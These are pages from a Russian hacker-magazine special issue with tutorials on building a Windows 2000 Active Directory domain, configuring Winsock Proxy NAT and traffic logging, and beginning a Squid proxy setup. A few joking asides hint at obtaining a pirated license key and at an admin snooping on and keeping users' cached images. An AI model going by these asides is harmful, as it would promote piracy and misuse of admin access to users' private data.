Я думаю, не нужно объяснять, что это за служба и для чего она предназначена, об этом не раз писали в журнале, да и потом документов по этому делу навалом. А у нас же без нее вообще ничего работать не будет, так как для нормальной работы AD необходимо правильное функционирование сервера на 53 порту :). Ты, конечно же, можешь установить отдельный DNS-сервер на другой компьютер, но помни, что для создания "каталога" нужна поддержка динамического DNS. В общем, доставай диск с Виндой и топай по направлению «установка компонентов Windows->сетевые службы->DNS», там ставь птицу и жми ОК. Поздравляю, ты только что установил DNS, но теперь тебя ждет нелегкий процесс настройки (кстати, учти - для нормального продолжения твоему серверу нужно назначить статический (aka постоянный) IP-адрес и указать первичный DNS-сервер), ведь все это надо подогнать под твои конкретные потребности. Для этого идем в «панель управления->администрирование» и кликаем на появившемся значке DNS, откроется консоль управления, и ты увидишь примерно следующую картинку:


Спецвыпуск Xakep, номер #033, стр. 033-022-3, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-3

Кликай на папке "Зоны прямого просмотра" (правой кнопой крыски :) и выбирай пункт "создать новую зону". После этого запустится мастер, который поможет произвести начальную настройку, тебе предложат на выбор три типа зон - "Интегрированная в Active Directory", "Основная" и "Дополнительная", причем первый пункт будет неактивный (по причине отсутствия AD), а последний выбирать не имеет смысла, пока не создана основная. Так что есть всего единственное, что ты можешь выбрать, - это золотую середину :). Следующим этапом нужно задать имя нового домена (если у тебя уже есть домен в Сети, можешь указать его, а если нет - то любое имя, которое только вздумается), после чего ты опять можешь порадоваться только что созданной записи зоны. Но не все так просто, как кажется сначала... Ведь у тебя создана только одна первичная зона, причем не указан ни один узел (кроме сервера имен), и к тому же в таком виде ничего нормально работать не будет. Чтобы исправить создавшееся положение, предлагаю привнести в дефолтовую установку некоторое разнообразие. Во-первых, советую добавить узел localhost (с адресом 127.0.0.1), SERVER-PDС и псевдонимы для разных сервисных служб (то есть www, ftp, pop и т.д.), делается это все через ту же правую кнопку мышки. Во-вторых, по умолчанию наш сервер/зона (вообще говоря, настройки сервера и зоны могут отличаться) не поддерживает динамическое добавление, которое потребуется при установки AD (ты же не хочешь ручками прописывать каждый компьютер, который собираешься присоединить к домену).

Надеюсь, трудностей это вызвать не должно - с этой стороны все довольно просто. К слову говоря, ты можешь создать еще и зону обратного просмотра, для каждой из зон прямого поиска - это нужно для обратного преобразования IP-адрес -> имя узла, делается это аналогично настройке прямой зоны.

На этом считаю настройку DNS-сервера законченной, и можно теперь приступить к установке других компонентов сервера.

У меня после всех хитроумных махинаций получилось вот что:

DHCP - помощник админа

Для начала немного теории - служба DHCP предназначена для того, чтобы ты не мучался и не прописывал ручками все сетевые настройки на каждой клиентской машине, все сделается само. А при нормальной настройке каждому компу не только выделится IP-шник, но еще и передадутся сведения о маске подсети, шлюзе, днс-сервере, имени домена, WINS-сервере (об этом дальше) и еще много всякой полезной информации, к тому же имя узла автоматически зарегистрируется на нашем DNS. Надеюсь, ты оценил все полезности этого сервиса, а я помогу тебе его установить и настроить. Итак, тебе опять нужен дистрибутив с Виндами, а дальше делаешь все то же самое, что и в предыдущем пункте, только теперь нужно поставить галочку напротив "DHCP". В принципе, теперь нужно проделать шаги, аналогичные тем, что мы делали при настройке DNS, только с тем лишь отличием, что до этого мы настраивали статические адреса, а здесь нужно будет распределить пространство адресов для всех клиентских машин и указать, какие параметры им требуется принять с сервера. Небольшой хинт - после создания области адресов уже будет невозможно поменять указанную маску подсети, так что не ошибайся, а то придется все удалять и настраивать заново. В процессе создания области можно выделить несколько ключевых моментов - это, собственно, само задание диапазона IP, добавление исключений (то есть распределение тех адресов, которые не будут выдаваться компьютерам в сети - это нужно для того, чтобы оставить постоянные адреса для узлов-серверов), ну и настройка дополнительных параметров (тут как раз и указываются всякие дополнительные сведения, про которые я говорил выше). Для того чтобы установить авторегистрацию на сервере имен, нужно зайти на вкладку "DNS" в свойствах области. После шаманства я увидел на экране следующее:


Спецвыпуск Xakep, номер #033, стр. 033-022-4, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-4

Вспомним о старом - служба WINS

WINS (Windows Internet Naming Service - Сетевая служба имен виндовс) - это старый, тормознуто-глючный аналог DNS'а, скрещенного с DHCP'ой, который предоставлял схожие функции и работал с NetBIOS (то есть тут происходит регистрация имени компа и преобразование имя-NetBIOS -> IP-адрес). Подробнее об этой службе ты можешь прочитать в многочисленных RTFMах. Конечно, можно обойтись и без этого атавизма, но, к великому сожалению, еще не все пользователи пересели на Win2k и XPюнделей, да и к тому же программ, использующих нетбиос пока предостаточно, так что придется осваивать и управление этим сервисом. Установка же этого добра на наш сервер до смешного проста, так что я не буду на этом задерживаться, а после предыдущих двух шагов у тебя все должно получиться.

Active Directory - процесс пошел

Вот мы и добрались до самого главного, того, ради чего выполняли все предыдущие настройки, - настало время установить и настроить службу каталога. Для этого запускай мастер командой dcpromo.exe, но перед этим убедись, что на диске, предназначенном для базы AD, хватает места (~200-500 мегов на среднюю сеть должно хватить), а также учти - нужен хотя бы один раздел с NTFS, на котором будет лежать папка SYSVOL. Теперь будем разбираться по шагам, чего же от нас хотят: для начала тебе нужно указать тип твоего контроллера домена, но поскольку у нас сеть небольшая с одним сервером, то выбираем "Контроллер домена в новом домене". Дальше до момента указания места, где будет располагаться база данных и журнал, все должно быть ясно из рассуждений в начале статьи, да и с местоположением ты тоже уже должен был определиться. И к тому же, так как мы с тобой уже создали сервер днс, то можно с чистой совестью пропустить пункт автонастройки сервера имен, остальные же шаги не являются особо стремными, да и всюду присутствуют подсказки, которые должны помочь тебе сделать правильный выбор.


Спецвыпуск Xakep, номер #033, стр. 033-022-5, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-5

Посидев в ожидании некоторое время, следя за процессом создания каталога, ты увидишь окно, возвещающее об окончании установки, со списком всего сделанного и всех проблем, которые возникли, тебе же осталось только нажать кнопочку "готово". После успешной установки, пока не забыли, советую тебе сделать один немаловажный шаг - авторизировать DHCP в AD, иначе потом могут возникнуть проблемы с распределением адресов (это сделано для повышения безопасности, чтобы всякие левые серваки не мешали работе твоей сети). Делается это очень просто - в консоли DHCP делаешь ПКМ (правый клик мышкой) на сервере и выбираешь "Авторизировать...", после чего добавь адрес своего сервера в список.

Ну, все, самое сложное закончилось, и теперь тебя ждет увлекательный процесс администрирования, поэтому соберись с мыслями, составь в голове план нужных настроек, и понеслась...

Админим...

Сначала определись с типом ОСей компьютеров, которые будут включены в твой новый домен, потому что изначально сервер работает в так называемом "Смешанном режиме", когда каталогом могут пользоваться как клиенты WinNT4/9x, так и Win2000/XP. В этом случае существует ряд ограничений, связанных с безопасностью и с некоторыми другими операциями (например, нельзя создавать в домене группы типа "Универсальная"). Так что за работу со старыми операционками приходится расплачиваться. А если же все нужные компы в сети работают под 2k/XP, то советую сразу переключить сервер в основной режим (но будь осторожен - обратное преобразование невозможно!), для чего нужно запустить консоль управления AD (Администрирование -> Active Directory - пользователи и компьютеры либо из командной строки - dsa.msc), а там заходишь в свойства домена, и сразу все станет ясно.

Теперь давай разберемся с тем, как добавить (настроить) пользователей/группы/компы/ OU. Надеюсь, ты еще не закрыл консоль? Иначе открывай все заново и наблюдай на экране такое окно:

Как видишь, тут все похоже на обычный диск, за исключением того, что папки содержат не файлы, а объекты, а сами папки - это те самые контейнеры. Если посмотреть внимательнее, то можно заметить различие иконок у папки - либо просто папка, либо папка с открытой книгой внутри - так различаются встроенные контейнеры и OU. Еще их различие заключается в том, что первые нельзя ни удалить, ни применить к ним GP (Group Policy - групповую политику), зато все поддерживают делегирование управлением (об этом чуть ниже).

Каждому компьютеру и пользователю, которые должны входить в домен, должна соответствовать учетная запись, которая создается внутри контейнера (все компьютеры, которые ты будешь подключать к домену с клиентской машины, будут помещаться в Computers). Причем никаких ограничений по расположению в определенном месте нет (то есть ты можешь создавать учетные записи пользователей в Computers, а компьютеров - в Users), но лучше все распределять по смыслу, чтобы потом не запутаться. Для того чтобы создать дополнительные OU, нужно выполнить ПКМ (там, где это нужно)->Создать->Подразделение, и получится новый контейнер. Я сделал так:


Спецвыпуск Xakep, номер #033, стр. 033-022-6, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-6

А теперь можешь с легкостью ветра создавать записи пользователей и группы в этих OU. Кстати говоря, при добавлении нового юзверя тебе предлагается настроить лишь малую часть доступных параметров, все же прелести ты сможешь ощутить при настройке свойств через ПКМ :).

Пришло время разобраться с групповыми политиками, а то говорили о них достаточно, но до этого момента с GP еще не сталкивались. Как я уже говорил раньше, настраивать policy можно только для OU, а делается это через свойства контейнера:

Причем, добавляя политику, помни, что применяются они в таком порядке: локальная->сайт->домен->OU(1)->...->OU(n)->политика1->политика2->политика3, то есть сверху вниз по нашему дереву :). Если GP от разных уровней между собой не конфликтуют, то они как бы сливаются и действуют вместе, в ином случае работает более низкоуровневая. А чтобы избежать проблем с запрещением действий на какую-то единицу всех политик, существует перекрытие и блокирование наследования:

Причем если одновременно выбрано "не перекрывать" и "блокировать наследие" на разных уровнях, то более сильным правилом является первое.

Но игра не стоила бы свеч, если бы не было того количества настраиваемых параметров, которое становится доступным при работе с GP. Ты, наверное, не раз читал о том, как можно отключать всякие пункты меню в пуске, запрещать смену параметров экрана, настраивать панель управления и систему, но для этого приходилось все ручками править в реестре. Причем не всегда можно было быть уверенным на 100% в смысле и результате настройки. Теперь же ты можешь управлять сразу ВСЕМИ компьютерами/пользователями сети, настраивая нужные параметры с помощью политик, а все изменения автоматически внесутся в реестр при следующем входе объекта в домен. Описывать все возможные настройки не имеет смысла по причине их количества, да и потом на вкладке "Объяснение" каждого пункта вполне понятно рассказано, что и как работает. Наигравшись с настройкой прав, предлагаю заострить свое внимание на самой верхней папке в политике - "Конфигурация программ". При помощи этой фичи можно, не парясь, установить практически любую программу на клиентский компьютер, даже не подходя к нему, а называется сия вещь SDP (Software Distribution Point - точка распространения программ). Существует два вида установки программ - "назначение" (жестко обозначить программу) и "опубликование" (добавить возможность установки через панель управления), причем можно управлять инсталлом как для компьютеров, так и для пользователей (потому что для юзверя и компа существуют две отдельные части GP). Для распространения программы она должна быть упакована в MSI-формат (впрочем, если разработчик этого не сделал, на диске с Виндой должна находиться программа WinInstall, специально для таких случаев). Я же покажу, как жестко назначить определенной группе приложение MSWord (я использую корпоративную версию офиса).


Спецвыпуск Xakep, номер #033, стр. 033-022-7, Win2kServ - Дорога в AD

Win2kServ - Дорога в AD

Frozen (frozen@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-022-7

Сначала нужно указать сетевой путь, откуда будут распространяться программы, для этого открывай свойства "установки программ":

Потом бери диск и запускай файл WORD.MSI с параметром /a, получится что-то вроде этого:

Указываешь папку назначения, которая должна быть доступна по сети, а дальше идет обычный инсталл офиса, после чего через ПКМ нужно выбрать "Создать-пакет..." и указать путь к публикуемому ворду (опять же используется файл .MSI).

Happy End

Я, конечно же, не смог рассказать тебе всех вкусностей серверообразных Виндов, на это нужно слишком много места, однако же, могу сказать - если грамотно все настроить, то админить будет легко, а проблем будет мало. Хотя если посмотреть на количество заплат, производимых мелкософтом, то нужно все время что-то патчить, но ведь ты на то и решил стать администратором, чтобы поиметь нехилые проблемы и изучить обратную сторону хака :). Со своей же стороны могу посоветовать почаще изучать логи (там не должно быть никаких Error'ов и Warnin'гов), постоянно обитать на всяких security-форумах и почаще апдейтить Внды, и да поможет тебе RTFM.


Спецвыпуск Xakep, номер #033, стр. 033-026-1, СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-026-1

(qqqqqwww@e-mail.ru)

Если у тебя в сети всего один модемный пул и именно через него ты хочешь организовать выход всей сети, да так, чтобы не объяснять всем и каждому, что такое прокси-сервер и зачем он нужен, ставь NAT.

Это система переадресации пакетов. Компы обычных юзверов, живущих под Линухом, не требуют доработки. В этом случае NAT-сервер отлавливает в сети все "левые" пакеты и переадресует их в нужном направлении, не забывая подменить исходящий IP. Получив ответ, сервак пересылает пакет обратно юзверю. Вся прелесть в том, что не надо прописывать проксики дополнительно. Все происходит так, как если бы у всех был прямой канал в инет. Для мастдая все обстоит несколько иначе. Все нормально работающие NAT-сервера, которые мне попадались, были писаны всем известным Билли. Первый - это winsock proxy, и второй - это ISA. Но ко второму еще не так сильно развился софт, да и глюков в нем побольше будет. Помимо сервера придется поставить клиента, да и не просто так поставить, а прямо с сервера для поддержания синхронизации.

Итак, для начала давай воткнем Winsock Server. Ставится он из пакета Back Office (не путать с Back Orifice :). Ставится без особых проблем, сам сервак можешь скачать у мелко-мягких или купить на CD. Техническую поддержку по этому серверу мелкие уже прикрыли, а следовательно, продукт уже больше не развивается, последняя версия 2SP1. Устанавливается все в два этапа. Единственное, что он требует, это предустановленный Windows Server, будь то NT4 или 2000. После установки к сервайсу IIS у тебя прицепится еще несколько функций. Через них мы и будем настраивать NAT.

Сетап

Для начала отрубай все, что тебе не надо. Для меня это NNTP, SMTP, HTTP и FTP сервера. Далее давай возьмемся за настройку winsock. Тут тебе придется правильно прописать IP-адрес своей сети вместе с маской, дабы проксик не маршрутизил пакеты в твою же сеть через себя. Это нужно для ограничения загрузки и правильного использования проксика. Далее не мешает раздать права пользователям. Если у тебя есть домен, то все просто замечательно. Тут ты можешь назначить машины или пользователей, которым можно вылезать в сеть. К сожалению, ты не можешь вписать ограничение по трафику. Эта функция считалась дополнительной, а после про весь этот сервак и вовсе забыли, забив на поддержку. Распределять обязанности на группы пользователей я тебе не советую, потому что в логах сервера будет писаться именно группа, а не пользователь. А там, где ответственны все, ответственных нет. Пользователям для простоты можешь пока назначить права "Можно все". Если впоследствии ты найдешь, что кто-то слишком рьяно ползает по проксикам, можешь выкинуть у него из доступа порты 8080 и 3128. Если он не дурак, найдет проксики на 80-ом порту, а если дурак, начнет лазить как следует.

Дальше идет создание логов. Лучше вынести все логи в отдельную папку и назначить параметр "verbose", что есть многословный. Эта функция добавит несколько полей к твоему логу и даст тебе больше информации о том, кто чем и куда лазает. Тут же ты можешь собрать несколько проксиков в один кластер и устроить распределенный доступ в инет. Это имеет смысл, только если у тебя действительно несколько исходящих линий.


Спецвыпуск Xakep, номер #033, стр. 033-026-2, СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-026-2

Юзвероводство

Для ограничения доступа всем и вся можно создать свои стандарты, например, всем разрешить 80 порт. Некоторым можно разрешить еще 21, 25 и 110. В общем, тут твоя фантазия не ограничивается, можешь делать с пользователями что угодно. Очень полезная функция, так как именно с помощью нее ты и будешь отрезать от инета некоторых особо опанных юзеров. Старайся также придерживаться ограничений по имени пользователя, а не по имени машины. Иногда поменять имя на машине проще, чем узнать пароль пользователя. Тем более, что логины просто так не посмотришь, в отличие от списка известных машин в домене.

Многое зависит и от политики компании. То есть, если у тебя запрещено иметь ICQ, то советую тебе не давать разрешения пользователям делать все. Если нельзя читать никакую другую почту кроме корпоративной, то не добавляй также в разрешенные порты 25 и 110. Короче, решай с шефом, что можно делать всем, а чего нельзя. Если же ты сам себе хозяин, то посоветуйся со своей совестью.

К сожалению, тут ты не сможешь назначить список разрешенных и запрещенных хостов, как и не сможешь контролировать контент пролетающего мимо трафика. Так что единственное, что ты можешь сделать для запрета (средствами NAT и мастдая), - это записать эти хосты в локальную сеть, прописать их в localhost-таблице и назначить им жесткий IP в виде 127.0.0.1 или обрезать через IP-SECURITY. Но это не принципиальный выход, это что-то вроде отмазки. Лучше все-таки подключить нечто более существенное.

Доведение клиента до кондиции

Все, после того как ты поставил и настроил сервак, самое время взяться за клиентов. Не ставь его на ту же машину, где и сервак, если это твоя тачка. Берешь любую тачку и по сети находишь свой сервак. Там должна быть расшарена папка mspclnt, в которой лежит сетап для клиента. Не копируй к себе файлы, запускай прямо с сервера. Это делается для того, чтобы при смене настроек, нажав на клиенте кнопочку update, он не лез в локальную папку и не пытался апдейтить все оттуда, а лез на сервер и качал обновления. После установки клиента надо перезагрузить тачку. Это просто необходимо, потому что клиент, по сути, подменяет dll-ку winsock2.dll на свою версию. И все проги, которые попытаются открыть сокет для соединения с другим компом в инете, будут обмануты. То есть, на самом деле, никакой прямой сокет не откроется, все данные о соединении (прога, запросившая коннект, адрес и порт) будут упакованы в UDP пакет и посланы на NAT сервак, в порт 1745. Сервак переварит их и попытается сконнектиться, в случае удачи он перекинет клиенту все, что ему сказали в инете. В противном случае он даст отмашку клиенту, и тот зарубит соединение. То есть прога так и не поймет, был ли это реальный сокет или его жестко нагнули. Если же прога попытается открыть сокет для прослушки (типа FTP сервак) то сервер NAT прежде всего попытается открыть порт с тем же номером и, если ему удастся, то он установит у себя состояние BIND и вернет клиенту код удачного завершения операции. В свою очередь клиент вернет проге номер сокета. В противном случае ошибка будет выглядеть так же, как если бы ты попытался открыть дважды один и тот же порт локально. То есть прога опять не врубится, а был ли мальчик. Единственный минус всего этого действа - если у тебя в сети уже кто-то поднял FTP сервак, то тебе сделать это уже не удастся, то есть сервак-то поднимется, но виден он будет только из локалки.


Спецвыпуск Xakep, номер #033, стр. 033-026-3, СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-026-3

Трафик и его пределы

По умолчанию (или по предположению фирмы мелкософт) ты должен читать до боли в глазах лог-файлы твоего сервака и в случае превышения трафика резать пользователя руками из настроек сервака. Удобнее всего экспортировать лог в Excel и там уже определяться, кого резать, а кого оставить в покое. Однако и тут есть грабли. Если у тебя в сети стоит свои собственные DNS и Mail серваки, то их трафик подсчитываться не будет. Особенно если эти серваки стоят на том же компе, где и NAT, или за ним (со стороны пользователя). Можно, конечно, извратиться и задать этот сервак как внешний, но реально трафик он съедает, когда письмо падает на сервак, а твой NAT будет считать трафик только тогда, когда пользователь заберет свое мыло. С DNS обратный прикол, при запросе несуществующего адреса трафик по-любому будет считаться, поэтому разнообразные баннеры и счетчики будут кушать трафик так же, как и страничка, на которой они стоят. Советую срезать их всех как есть, лучше использовать для этого агрегат вроде Outpost-а, который не надо настраивать как проксик, он просто смотрит за трафиком и срезает из него лишнее. Но если проги для контроля трафика есть, то прог для ограничений пользователей по трафику я пока не нашел, так что тут придется пока действовать руками. То есть с периодичностью раз в несколько дней тебе надо проверять трафик и лезть в настройки проксика для выкидывания зажравшегося пользователя. Можно сделать проще, договориться с шефом, что ограничивать ты никого не будешь, но в конце месяца будешь показывать, кто сколько слил из сети, с последующей оплатой трафика по тарифу "Имеемый". Можешь также рассказать об этом всем сотрудникам, с намеком на ящик пива, с последующим распределением трафика на других пользователей :). Так сказать, плавный развод :). Тут главное не перебросить трафик на тех, кто в отпуске или кого уже уволили.

Линзы, микроскопы и телескопы

Чтобы не портить глаза и нервы, люди пишут проги. Если тебе нужна какая-то прога, то это значит, что ты не первый, кто задался таким вопросом, а следовательно, такая прога уже есть. Осталось только найти ее и поставить к себе. Сам мелкософт, как я уже говорил, не предоставляет прог для мониторинга. Поэтому будем мониторить другим софтом.

Есть отличная прога Internet Access Monitor, которая хоть и требует регистрации на каждом шагу, отлично работает. Достаточно сказать ей, откуда брать лог-файлы, и после импорта логов она расскажет тебе все о пользователях. Кто каким браузером пользуется и куда он ходит (достоверен только IP-адрес), и сколько он качает, и даже в какое время. Особенно хорошо показывать при разборе полетов, типа тут ты скачал столько-то, а тут ты запустил e-mule и сосал из сети порнушку, а тут ты по аське натрепался столько, что хватило бы на "Две сорванные башни". Тут же можно собрать пользователей в группы и смотреть статистику сразу на всю группу. Можно также посмотреть, кто качает по ночам, а кто днем. Кто лазал смотреть свое мыло, а кто отсылал спам на несколько тонн.


Спецвыпуск Xakep, номер #033, стр. 033-026-4, СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-026-4

Все хорошо, но нет у проги WEB-интерфейса (может оно, конечно, и к лучшему :). Так что бразды правления трафиком у админа. Если ты не админ, то будь уверен, на тебя можно повесить трафика на весь отдел, а можно и превратить тебя в белого и пушистого. Кроме этой проги есть еще Proxy Log Analyzer, прога shareware, но найти ключ не проблема. С этой прогой придется немного помучаться. Она берет на ура логи W3*, то есть Web Proxy Server, и начинает немного гнать, когда ей подсовываешь логи от winsock сервера. Ее не так просто настроить, но у нее есть вывод результатов работы в html файл, а следовательно, ты можешь запускать ее на автопилоте, с последующей выкладкой логов на сервак в твоей сетке. Прога поставляется как в архиве, так и в виде сетапа, который надо устанавливать. Почему сами мелкие ничего не предлагают, для меня до сих пор загадка, поскольку большую часть денег дает именно техническая поддержка, нежели продажа непосредственно программного продукта.

Очумелые ручки

Если тебе не терпится поковырять лог-файл, то вот тебе расшифровка по полям, бери в руки Perl и пиши декодер. Только не забудь вставить аутентификацию пользователей, им не нравится, когда все знают, куда они в сети ходят и что качают.

Листинг

Поля, которые присутствуют в логе без опции verbose

Client Information - кто запросил.

Server Information - кто ответил (полезно при использовании массива серверов).

Connection Information - как связались (удачно, неудачно, протокол).

Object Information - что послали/получили.

Поля при включенной опции verbose

Client Computer Name - имя компа клиента.

Client User Name - имя клиента (если юзать доменную аутентификацию).

Client Agent - кто просит инфу (Опера это или аська).

Client Platform - на чем сидит клиент (в принципе бесполезное поле).

Authentication Status - а не пытался ли нас кто-нить надуть?

Log Date - когда это было.

Log Time - во сколько.

Service Name - кто ему отвечал (аналогично бесполезное поле при использовании только winsock proxy server).

Proxy Name - имя проксика (полезно при массиве :).

Referring Server Name - кто его послал (опять же при массиве проксиков).

Destination Name - куда мы, собственно, лезем.

Destination Address - на какой IP (эти два поля не бывают заполнены одновременно).

Destination Port - на какой порт идем.

Processing Time - время, убитое на этого юзверя.

Bytes Sent - сколько он послал.

Bytes Received - сколько ссосал.

Protocol Name - имя протокола (HTTP, FTP, Gopher).

Transport - имя транспортного протокола (TCP, UDP, IPX/SPX).


Спецвыпуск Xakep, номер #033, стр. 033-026-5, СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-026-5

Operation - что делал юзер с серваком (GET, PUT, POST, HEAD).

Object Name - используется только Web proxy, он сюда пишет запрошенный урл.

Object MIME - аналогично, только в Web proxy используется для записи, что юзер качал.

Object Source - в Web proxy пишется, откуда брались данные (кэш или сеть).

Result Code - удачность соединения.

При разборе формата тебе стоит учесть, что не все поля обязательны к заполнению, а поле с именем сервера и поле с переданными данными не обязательно идут подряд. Ориентироваться стоит по большей части на имя пользователя и время запроса. Запрос файла всегда идет перед передачей ответа. В случае использования winsock-проксика никакие данные не кэшируются, все остается как есть. Также неплохо загнать все логи в MySQL и производить выборку уже средствами сервера. По умолчанию проксик умеет пихать все логи в базу, но только в MS SQL. Если горишь желанием поставить этого монстра ради обработки логов, то флаг в руки. Но это, по меньшей мере, забивание микроскопом гвоздей. Если же таковой сервак уже стоит, то можно на него довешать еще и логирование, сильно грузить его это не будет. Скрипты по обработке запросов юзверей типа "а сколько мне уже накапало" написать раз плюнуть.

Бочка меда

Если ты уже решил для себя воткнуть в сетку NAT, дабы избавиться от лишнего геморроя, то всем юзверям (как, впрочем, и начальству) нужно еще рассказать, на кой, собственно, оно им надо.

Во-первых, это простота установки. Достаточно поставить клиента и все, нигде ничего прописывать больше не надо. Все проги под мастдаем, как правило, пользуют winsock, а следовательно, они даже не поймут, что их круто обвели. Во-вторых, не надо заморачиваться открытием входящего порта, например, в icq или в ftp клиентах. В обоих случаях все за тебя сделает сервак, достаточно его один раз настроить и на всякий случай сделать бакап всех настроек.

В-третьих, поскольку все завязано на домен, не надо прописывать отдельно пользователей, пароль вводить нужно только при загрузке Винды, далее все пойдет на автопилоте. Также не надо мучиться с написанием клиент-серверного софта, поскольку коннект с серваком в твоей сетке и за ее пределами будет проходить по одному и тому же сценарию.

Ну и жирный плюс: если ты админ, у тебя есть все вентили по управлению трафиком. Кроме того, все коннекты пойдут через одну единственную точку в сети. Ставь туда снифак или файрволл, оба они будут работать как надо. Но как всегда, в любой дискете есть пара бэд-блоков.

Ложка дегтя

Пора узнать, с какими трудностями тебе придется столкнуться. При перемене чего-либо на серваке придется апдейтить все клиентские части. Так, например, тебе вздумалось поменять внутреннюю адресацию сети. Ты зашел на сервак и сказал, что IP такие-то теперь наша локалка и нечего слать все это через весь и-нет. Но это не все, приготовься к наплыву пользователей, которые будут кричать, что у них нет интернета. Для исправления этого мини-бага надо пройтись по машинам и нажать update в настройках клиента MSP. Самое интересное, что клиент может вообще отказаться апдейтиться, придется его сносить, перегружаться и ставить с нуля. Иногда, при невыясненных пока обстоятельствах, клиент слетает сам по себе. Кроме того, никто не писал, да и не думает писать клиента под ось Unix-платформы; если у тебя есть продвинутые юзвери, пользующие эту ось, то инета им не видать как своих ушей. Также придется ставить отдельно файрволл, потому что средствами Винды много не отрежешь. Придется ставить отдельный отлов баннеров. Если хочешь перекрыть кислород на порно-сайты, то и тут придется поставить дополнительный софт, потому как winsock не различает и не умеет глушить отдельный трафик. Кроме того, если какой-нибудь умник подсядет на жирный канал и будет тянуть фильмец, то вся сеть просто встанет без инета, пока этот ухарь не докачает. В общем, нет пока идеального решения от этих граблей. Все это обещалось исправиться в ISA сервере, но он пока по производительности даже на инвалида в коляске не похож.


Спецвыпуск Xakep, номер #033, стр. 033-026-6, СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

СЕТЕВЫЕ ПРЯТКИ - настраиваем NAT под Windows

Alex Shark

Спецвыпуск Xakep, номер #033, стр. 033-026-6

Решение проблем

Есть решение, хоть и кривоватое, но оно работает. Для линуховых юзверей имеется обычный проксик, который втыкается одновременно с winsock-ом. Он умеет кэшировать и обрезать урлы по имени. Плюс ты можешь не заморачиваться, если у тебя большинство юзеров пользуется IE; как только ты воткнешь MSP клиента, он сам пропишет настройки проксятника в браузере. Для урезания баннеров очень хорошо подходит OutPost, установленный на серваке (читай статью в этом же номере). Он отлавливает трафик и потрошит все пакеты. По скорости разница неощутима, зато по надежности ему пока нет равных. Кроме того, кэш поможет тебе сэкономить не только трафик, но и нервы. Так, если у тебя пользователи найдут все-таки лазейку и пойдут качать порнушку, ты, мирно просматривая кэш сервера, сможешь определить, откуда именно была скачана вся эта прелесть. После того как скинешь наиболее полюбившиеся картинки к себе на винт, можешь смело резать URL на серваке.

Помимо стандартного проксика, ты можешь воткнуть еще и дополнительные навески, например, проксомитрон. Причем ставь его перед проксиком, дабы он резал странички еще до того, как они скэшируются. Тогда пользователи, благодаря твоей доброй душе и отцовской опеке, не увидят всех этих пошлых картинок и баннеров.

А если это кому-то не понравится, можешь смело посылать его... ну, например, к шефу, пусть он ему докажет, что порно и баннеры необходимы для рабочего процесса как воздух.


Спецвыпуск Xakep, номер #033, стр. 033-030-1, ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

ГОРЯЧИЙ ПРОКСИ-СЕРВЕР. Установка сервисов на старый компьютер

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #033, стр. 033-030-1

(forb@real.xakep.ru)

С каждым годом цифровые технологии сильно совершенствуются. Пользуются спросом лишь компьютеры последних поколений, вытесняя своих "предков", которые были популярны с десяток лет назад. Но, несмотря на это, старый комп может сыграть большую роль в твоей работе. Мы не будем причислять себя к категории "мазохистов" и ставить на него Windows 95, чтобы насладиться тормозной работой (хотя иногда и продуктивной ;)). Как люди нового поколения, мы остановимся на Linux, потому как знаем, что правильная ось будет работать как на старых, так и на новых машинах.

Представим ситуацию: ты работаешь админом в небольшой локалке. Руководствуясь правилом "мухи отдельно, котлеты отдельно", хороший админ грамотно распределяет задачи между серверами в сети. К примеру, он никогда не поставит на почтовую машину Quake-сервер и наоборот. Рано или поздно он захочет использовать proxy для своей работы (или посадить на него своих клиентов). Для этой задачи вовсе необязательно ставить крутой Pentium4 с гигабайтными мозгами. Proxy-сервер не требователен к ресурсам, поэтому он будет прекрасно жить и на 486 процессоре. Вот и отлично! Сегодня мы поупражняемся в создании прокси-боекомплекта, состоящего из трех важных сервисов, которые очень любят использовать в работе.

SQUID - ПРОСТО И УДОБНО

Не будем мудрить с настройкой экзотических серверов, в которых полно багов, а остановимся на стандартном Squid, версии которого регулярно обновляются. Вообще, про Squid можно написать отдельную книгу, потому как его возможности не знают границ (различные методы авторизации, разграничение по скорости, подсчет трафика, настройка кеширования данных, администрирование через web и т.д. и т.п.). Поэтому я раскрою лишь общие принципы настройки этого демона.

Первым делом скачиваем свежую версию Squid по ссылке http://www.squid-cache.org/Versions/v2/2.5/squid-2.5.STABLE3.tar.gz. Распаковываем и идем пить пиво, так как процесс распаковки на слабом проце может занять от одной до трех минут. Далее по порядку: ./configure, make, make install. Все должно пройти без осложнений и ошибок. Можешь не заморачиваться опциями конфигуратора, если желаешь обычной работы proxy-server'а (для включения pool и т.п. необходимо уделить этому особое внимание).

МУТИМ КОНФИГ

